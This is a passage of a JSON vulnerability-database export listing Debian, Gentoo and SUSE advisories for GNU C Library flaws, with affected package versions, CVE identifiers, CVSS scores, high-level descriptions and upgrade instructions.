"2.7-18lenny4", "packageFilename": "libc6-udeb_2.7-18lenny4_arm.udeb", "packageName": "libc6-udeb", "arch": "arm", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "glibc-source_2.7-18lenny4_all.deb", "packageName": "glibc-source", "arch": "all", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "nscd_2.7-18lenny4_arm.deb", "packageName": "nscd", "arch": "arm", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-dns-udeb_2.7-18lenny4_i386.udeb", "packageName": "libnss-dns-udeb", "arch": "i686", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-prof_2.7-18lenny4_s390.deb", "packageName": "libc6-prof", "arch": "s390x", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "nscd_2.7-18lenny4_mips.deb", "packageName": "nscd", "arch": "mips", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "locales-all_2.7-18lenny4_alpha.deb", "packageName": "locales-all", "arch": "alpha", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "locales-all_2.7-18lenny4_arm.deb", "packageName": "locales-all", "arch": "arm", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-udeb_2.7-18lenny4_hppa.udeb", "packageName": "libc6-udeb", "arch": "hppa", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6_2.7-18lenny4_arm.deb", "packageName": "libc6", "arch": "arm", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "locales-all_2.7-18lenny4_armel.deb", "packageName": "locales-all", "arch": "armel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dbg_2.7-18lenny4_s390.deb", "packageName": "libc6-dbg", "arch": "s390x", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-sparc64_2.7-18lenny4_sparc.deb", "packageName": "libc6-sparc64", "arch": "sparc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-files-udeb_2.7-18lenny4_powerpc.udeb", "packageName": "libnss-files-udeb", "arch": "ppc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-udeb_2.7-18lenny4_armel.udeb", "packageName": "libc6-udeb", "arch": "armel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "nscd_2.7-18lenny4_alpha.deb", "packageName": "nscd", "arch": "alpha", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-prof_2.7-18lenny4_mipsel.deb", "packageName": "libc6-prof", "arch": "mipsel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dev_2.7-18lenny4_i386.deb", "packageName": "libc6-dev", "arch": "i686", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-prof_2.7-18lenny4_amd64.deb", "packageName": "libc6-prof", "arch": "x86-64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dev-mipsn32_2.7-18lenny4_mipsel.deb", "packageName": "libc6-dev-mipsn32", "arch": "mipsel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-prof_2.7-18lenny4_i386.deb", "packageName": "libc6-prof", "arch": "i686", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dbg_2.7-18lenny4_arm.deb", "packageName": "libc6-dbg", "arch": "arm", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-pic_2.7-18lenny4_amd64.deb", "packageName": "libc6-pic", "arch": "x86-64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "locales-all_2.7-18lenny4_mips.deb", "packageName": "locales-all", "arch": "mips", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dev_2.7-18lenny4_sparc.deb", "packageName": "libc6-dev", "arch": "sparc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dev-mips64_2.7-18lenny4_mips.deb", "packageName": "libc6-dev-mips64", "arch": "mips", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dbg_2.7-18lenny4_sparc.deb", "packageName": "libc6-dbg", "arch": "sparc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dbg_2.7-18lenny4_amd64.deb", "packageName": "libc6-dbg", "arch": "x86-64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dev_2.7-18lenny4_amd64.deb", "packageName": "libc6-dev", "arch": "x86-64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dev-mips64_2.7-18lenny4_mipsel.deb", "packageName": "libc6-dev-mips64", "arch": "mipsel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dev_2.7-18lenny4_armel.deb", "packageName": "libc6-dev", "arch": "armel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-s390x_2.7-18lenny4_s390.deb", "packageName": "libc6-s390x", "arch": "s390x", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dev-s390x_2.7-18lenny4_s390.deb", "packageName": "libc6-dev-s390x", "arch": "s390x", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-dns-udeb_2.7-18lenny4_sparc.udeb", "packageName": "libnss-dns-udeb", "arch": "sparc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "nscd_2.7-18lenny4_i386.deb", "packageName": "nscd", "arch": "i686", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-dns-udeb_2.7-18lenny4_powerpc.udeb", "packageName": "libnss-dns-udeb", "arch": "ppc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dev-sparc64_2.7-18lenny4_sparc.deb", "packageName": "libc6-dev-sparc64", "arch": "sparc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dev-i386_2.7-18lenny4_amd64.deb", "packageName": "libc6-dev-i386", "arch": "x86-64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-udeb_2.7-18lenny4_mipsel.udeb", "packageName": "libc6-udeb", "arch": "mipsel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-pic_2.7-18lenny4_mips.deb", "packageName": "libc6-pic", "arch": "mips", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6_2.7-18lenny4_s390.deb", "packageName": "libc6", "arch": "s390x", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dbg_2.7-18lenny4_mips.deb", "packageName": "libc6-dbg", "arch": "mips", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4.diff", "packageFilename": "glibc_2.7-18lenny4.diff.gz", "packageName": "glibc", "arch": "src", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-dns-udeb_2.7-18lenny4_s390.udeb", "packageName": "libnss-dns-udeb", "arch": "s390x", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dbg_2.7-18lenny4_mipsel.deb", "packageName": "libc6-dbg", "arch": "mipsel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-mips64_2.7-18lenny4_mips.deb", "packageName": "libc6-mips64", "arch": "mips", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-udeb_2.7-18lenny4_s390.udeb", "packageName": "libc6-udeb", "arch": "s390x", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dev_2.7-18lenny4_hppa.deb", "packageName": "libc6-dev", "arch": "hppa", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-pic_2.7-18lenny4_armel.deb", "packageName": "libc6-pic", "arch": "armel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-pic_2.7-18lenny4_i386.deb", "packageName": "libc6-pic", "arch": "i686", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6_2.7-18lenny4_i386.deb", "packageName": "libc6", "arch": "i686", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-pic_2.7-18lenny4_s390.deb", "packageName": "libc6-pic", "arch": "s390x", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6.1-prof_2.7-18lenny4_ia64.deb", "packageName": "libc6.1-prof", "arch": "ia64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6.1-pic_2.7-18lenny4_alpha.deb", "packageName": "libc6.1-pic", "arch": "alpha", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-udeb_2.7-18lenny4_sparc.udeb", "packageName": "libc6-udeb", "arch": "sparc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6_2.7-18lenny4_powerpc.deb", "packageName": "libc6", "arch": "ppc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-files-udeb_2.7-18lenny4_alpha.udeb", "packageName": "libnss-files-udeb", "arch": "alpha", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dev_2.7-18lenny4_mips.deb", "packageName": "libc6-dev", "arch": "mips", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7.orig", "packageFilename": "glibc_2.7.orig.tar.gz", "packageName": "glibc", "arch": "src", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dev_2.7-18lenny4_arm.deb", "packageName": "libc6-dev", "arch": "arm", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-udeb_2.7-18lenny4_mips.udeb", "packageName": "libc6-udeb", "arch": "mips", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-dns-udeb_2.7-18lenny4_mips.udeb", "packageName": "libnss-dns-udeb", "arch": "mips", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6_2.7-18lenny4_amd64.deb", "packageName": "libc6", "arch": "x86-64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "nscd_2.7-18lenny4_amd64.deb", "packageName": "nscd", "arch": "x86-64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-dns-udeb_2.7-18lenny4_amd64.udeb", "packageName": "libnss-dns-udeb", "arch": "x86-64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-dbg_2.7-18lenny4_hppa.deb", "packageName": "libc6-dbg", "arch": "hppa", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6.1-dev_2.7-18lenny4_alpha.deb", "packageName": "libc6.1-dev", "arch": "alpha", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-prof_2.7-18lenny4_armel.deb", "packageName": "libc6-prof", "arch": "armel", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "locales-all_2.7-18lenny4_i386.deb", "packageName": "locales-all", "arch": "i686", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "nscd_2.7-18lenny4_ia64.deb", "packageName": "nscd", "arch": "ia64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-i686_2.7-18lenny4_i386.deb", "packageName": "libc6-i686", "arch": "i686", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libnss-dns-udeb_2.7-18lenny4_arm.udeb", "packageName": "libnss-dns-udeb", "arch": "arm", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6.1-pic_2.7-18lenny4_ia64.deb", "packageName": "libc6.1-pic", "arch": "ia64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6_2.7-18lenny4_sparc.deb", "packageName": "libc6", "arch": "sparc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6-sparcv9b_2.7-18lenny4_sparc.deb", "packageName": "libc6-sparcv9b", "arch": "sparc", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6.1-dev_2.7-18lenny4_ia64.deb", "packageName": "libc6.1-dev", "arch": "ia64", "operator": "lt"}, {"OS": "Debian GNU/Linux", "OSVersion": "5", "packageVersion": "2.7-18lenny4", "packageFilename": "libc6.1_2.7-18lenny4_ia64.deb", "packageName": "libc6.1", "arch": "ia64", "operator": "lt"}], "description": "Several vulnerabilities have been discovered in the GNU C Library (aka glibc) and its derivatives. The Common Vulnerabilities and Exposures project identifies the following problems:\n\n * [CVE-2008-1391](<https://security-tracker.debian.org/tracker/CVE-2008-1391>), [CVE-2009-4880](<https://security-tracker.debian.org/tracker/CVE-2009-4880>), [CVE-2009-4881](<https://security-tracker.debian.org/tracker/CVE-2009-4881>)\n\nMaksymilian Arciemowicz discovered that the GNU C library did not correctly handle integer overflows in the strfmon family of functions. If a user or automated system were tricked into processing a specially crafted format string, a remote attacker could crash applications, leading to a denial of service.\n\n * [CVE-2010-0296](<https://security-tracker.debian.org/tracker/CVE-2010-0296>)\n\nJeff Layton and Dan Rosenberg discovered that the GNU C library did not correctly handle newlines in the mntent family of functions. If a local attacker were able to inject newlines into a mount entry through other vulnerable mount helpers, they could disrupt the system or possibly gain root privileges.\n\n * [CVE-2010-0830](<https://security-tracker.debian.org/tracker/CVE-2010-0830>)\n\nDan Rosenberg discovered that the GNU C library did not correctly validate certain ELF program headers. If a user or automated system were tricked into verifying a specially crafted ELF program, a remote attacker could execute arbitrary code with user privileges.\n\nFor the stable distribution (lenny), these problems have been fixed in version 2.7-18lenny4 of the glibc package.\n\nFor the testing distribution (squeeze), these problems will be fixed soon.\n\nFor the unstable distribution (sid), these problems has been fixed in version 2.1.11-1 of the eglibc package.\n\nWe recommend that you upgrade your glibc or eglibc packages.", "edition": 1, "reporter": "Debian", "published": "2010-06-10T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "type": "debian", "title": "glibc, eglibc -- multiple vulnerabilities", "bulletinFamily": "unix", "cvelist": ["CVE-2009-4881", "CVE-2010-0296", "CVE-2010-0830", "CVE-2009-4880", "CVE-2008-1391"], "modified": "2010-06-10T00:00:00", "id": "DSA-2058", "href": "http://www.debian.org/security/dsa-2058", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "gentoo": [{"lastseen": "2016-09-06T19:46:56", "references": ["http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3847", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4881", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0296", "https://bugs.gentoo.org/show_bug.cgi?id=325555", "https://bugs.gentoo.org/show_bug.cgi?id=285818", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3856", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0830", "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4880", "https://bugs.gentoo.org/show_bug.cgi?id=341755", "https://bugs.gentoo.org/show_bug.cgi?id=330923", "https://bugs.gentoo.org/show_bug.cgi?id=335871"], "affectedPackage": [{"OS": "Gentoo", "OSVersion": "any", "packageVersion": "2.11.2-r3", "packageName": "sys-libs/glibc", "packageFilename": "UNKNOWN", "arch": "all", "operator": "lt"}], "description": "### Background\n\nThe GNU C library is the standard C library used by Gentoo Linux systems. \n\n### Description\n\nMultiple vulnerabilities were found in glibc, amongst others the widely-known recent LD_AUDIT and $ORIGIN issues. For further information please consult the CVE entries referenced below. \n\n### Impact\n\nA local attacker could execute arbitrary code as root, cause a Denial of Service, or gain privileges. Additionally, a user-assisted remote attacker could cause the execution of arbitrary code, and a context-dependent attacker could cause a Denial of Service. \n\n### Workaround\n\nThere is no known workaround at this time. \n\n### Resolution\n\nAll GNU C library users should upgrade to the latest version: \n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=sys-libs/glibc-2.11.2-r3\"", "edition": 1, "reporter": "Gentoo Foundation", "published": "2010-11-15T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "type": "gentoo", "title": "GNU C library: Multiple vulnerabilities", "bulletinFamily": "unix", "cvelist": ["CVE-2009-4881", "CVE-2010-0296", "CVE-2010-0830", "CVE-2010-3856", "CVE-2009-4880", "CVE-2010-3847"], "modified": "2010-11-15T00:00:00", "id": "GLSA-201011-01", "href": "https://security.gentoo.org/glsa/201011-01", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2016-09-06T19:46:23", "references": ["https://bugs.gentoo.org/show_bug.cgi?id=386333", "https://bugs.gentoo.org/show_bug.cgi?id=386343", "http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1071", "https://bugs.gentoo.org/show_bug.cgi?id=404993", "https://bugs.gentoo.org/show_bug.cgi?id=393477", "http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1659", "https://bugs.gentoo.org/show_bug.cgi?id=386349", "https://bugs.gentoo.org/show_bug.cgi?id=356567", "http://nvd.nist.gov/nvd.cfm?cvename=CVE-2010-3847", "http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1658", "https://bugs.gentoo.org/show_bug.cgi?id=350744", "http://nvd.nist.gov/nvd.cfm?cvename=CVE-2009-5029", "https://bugs.gentoo.org/show_bug.cgi?id=386329", "http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1089", "http://nvd.nist.gov/nvd.cfm?cvename=CVE-2012-0864", "https://bugs.gentoo.org/show_bug.cgi?id=386323", "http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-0536", "http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-1095", "https://bugs.gentoo.org/show_bug.cgi?id=386327"], "affectedPackage": [{"OS": "Gentoo", "OSVersion": "any", "packageVersion": "2.15-r3", "arch": "all", "packageFilename": "UNKNOWN", "packageName": "sys-libs/glibc", "operator": "lt"}], "edition": 1, "description": "### Background\n\nThe GNU C library is the standard C library used by Gentoo Linux systems. \n\n### Description\n\nMultiple vulnerabilities have been discovered in GNU C Library. Please review the CVE identifiers referenced below for details. \n\n### Impact\n\nA local attacker could trigger vulnerabilities in dynamic library loader, making it possible to load attacker-controlled shared objects during execution of setuid/setgid programs to escalate privileges. \n\nA context-dependent attacker could trigger various vulnerabilities in GNU C Library, including a buffer overflow, leading to execution of arbitrary code or a Denial of Service. \n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll GNU C Library users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=sys-libs/glibc-2.15-r3\"", "reporter": "Gentoo Foundation", "published": "2013-12-03T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "type": "gentoo", "title": "GNU C Library: Multiple vulnerabilities", "bulletinFamily": "unix", "cvelist": ["CVE-2012-0864", "CVE-2011-1658", "CVE-2011-1659", "CVE-2011-1071", "CVE-2011-1095", "CVE-2010-3847", "CVE-2009-5029", "CVE-2011-0536", "CVE-2011-1089"], "modified": "2013-12-03T00:00:00", "id": "GLSA-201312-01", "href": "https://security.gentoo.org/glsa/201312-01", "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "suse": [{"lastseen": "2016-09-04T12:03:50", "references": [], "affectedPackage": [{"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "i686", "packageFilename": "glibc-2.11.2-3.3.1.i686.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "i586", "packageFilename": "glibc-obsolete-2.10.1-10.9.1.i586.rpm", "packageName": "glibc-obsolete", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "i586", "packageFilename": "glibc-obsolete-2.11.2-3.3.1.i586.rpm", "packageName": "glibc-obsolete", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ppc64", "packageFilename": "glibc-locale-32bit-2.9-13.11.1.ppc64.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Desktop", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": "glibc-2.11.1-0.20.1.i586.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "x86_64", "packageFilename": "glibc-locale-32bit-2.10.1-10.9.1.x86_64.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i686", "packageFilename": "glibc-devel-2.11.1-0.20.1.i686.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ia64", "packageFilename": "nscd-2.11.1-0.20.1.ia64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "s390x", "packageFilename": "glibc-2.4-31.77.76.1.s390x.rpm", "packageName": "glibc", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "s390x", "packageFilename": "glibc-profile-32bit-2.11.1-0.20.1.s390x.rpm", "packageName": "glibc-profile-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "x86_64", "packageFilename": "glibc-locale-2.11.2-3.3.1.x86_64.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "nscd-2.11.1-0.20.1.x86_64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "ppc", "packageFilename": "glibc-locale-2.9-2.13.1.ppc.rpm", "packageName": "glibc-locale", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ia64", "packageFilename": "glibc-profile-x86-2.4-31.77.76.1.ia64.rpm", "packageName": "glibc-profile-x86", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "ppc", "packageFilename": "glibc-devel-64bit-2.4-31.77.76.1.ppc.rpm", "packageName": "glibc-devel-64bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Software Development Kit", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "x86_64", "packageFilename": "glibc-html-2.11.1-0.20.1.x86_64.rpm", "packageName": "glibc-html", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "ppc64", "packageFilename": "glibc-locale-32bit-2.11.1-0.20.1.ppc64.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.3", "packageVersion": "2.11.2-3.3.1", "arch": "i586", "packageFilename": "nscd-2.11.2-3.3.1.i586.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "s390x", "packageFilename": "glibc-locale-32bit-2.4-31.77.76.1.s390x.rpm", "packageName": "glibc-locale-32bit", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "11", "packageVersion": "2.9-13.11.1", "arch": "ppc64", "packageFilename": "glibc-info-2.9-13.11.1.ppc64.rpm", "packageName": "glibc-info", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "x86_64", "packageFilename": "nscd-2.10.1-10.9.1.x86_64.rpm", "packageName": "nscd", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "i686", "packageFilename": "glibc-devel-2.10.1-10.9.1.i686.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.2", "packageVersion": "2.10.1-10.9.1", "arch": "x86_64", "packageFilename": "glibc-i18ndata-2.10.1-10.9.1.x86_64.rpm", "packageName": "glibc-i18ndata", "operator": "lt"}, {"OS": "openSUSE", "OSVersion": "11.1", "packageVersion": "2.9-2.13.1", "arch": "i586", "packageFilename": "glibc-profile-2.9-2.13.1.i586.rpm", "packageName": "glibc-profile", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server", "OSVersion": "10.3", "packageVersion": "2.4-31.77.76.1", "arch": "x86_64", "packageFilename": "glibc-devel-2.4-31.77.76.1.x86_64.rpm", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "SUSE Linux Enterprise Server for VMware", "OSVersion": "11.1", "packageVersion": "2.11.1-0.20.1", "arch": "i586", "packageFilename": 